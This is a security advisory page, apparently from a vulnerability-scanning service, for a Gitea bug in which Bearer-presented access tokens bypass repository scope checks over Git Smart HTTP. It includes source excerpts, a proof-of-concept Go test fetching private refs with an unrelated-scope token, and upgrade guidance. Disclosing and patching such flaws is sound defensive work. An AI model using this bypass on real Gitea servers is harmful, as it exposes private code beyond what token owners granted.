high · 8.1 Patched

Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens

CVE-2026-28744 · GHSA-cc8w-r4qh-3v65 · published 16 Jun 2026

How serious is it

  • Severity: high, CVSS score 8.1 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-28744?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • code.gitea.io/gitea (Go) <= 1.26.1

How to check

  1. Run go list -m code.gitea.io/gitea in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade code.gitea.io/gitea to 1.26.2 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer <token>` bypasses the scope check entirely. As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`. ### Details Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth: ```go // routers/web/web.go addOwnerRepoGitHTTPRouters( m, repo.HTTPGitEnabledHandler, webAuth.AllowBasic, webAuth.AllowOAuth2, repo.CorsHandler(), optSignInFromAnyOrigin, context.UserAssignmentWeb(), ) ``` The Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC: ```go // routers/web/repo/githttp.go if askAuth { if !ctx.IsSigned { ctx.HTTPError(http.StatusUnauthorized) return nil } context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode)) if ctx.Written() { return nil } // normal repository RBAC follows } ``` However, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests: ```go // services/context/permission.go func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) { if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true { return } scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope) if ok { requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository) // public-only and required repository scope checks follow } } ``` The Bearer/OAuth2 auth path still records the token scope: ```go // services/auth/oauth2.go accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA) if uid != 0 { store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = accessTokenScope } ``` Bearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored. ### PoC This test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth. ```go func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) { defer tests.PrepareTestEnv(t)() repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"}) assert.True(t, repo.IsPrivate) session := loginUser(t, "user2") token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification) url := "/user2/repo2/info/refs?service=git-upload-pack" basicReq := NewRequest(t, "GET", url) basicReq.SetBasicAuth(token, "x-oauth-basic") MakeRequest(t, basicReq, http.StatusForbidden) bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token) resp := MakeRequest(t, bearerReq, http.StatusOK) assert.Contains(t, resp.Body.String(), "refs/heads/master") } ``` ### Impact Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access. The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON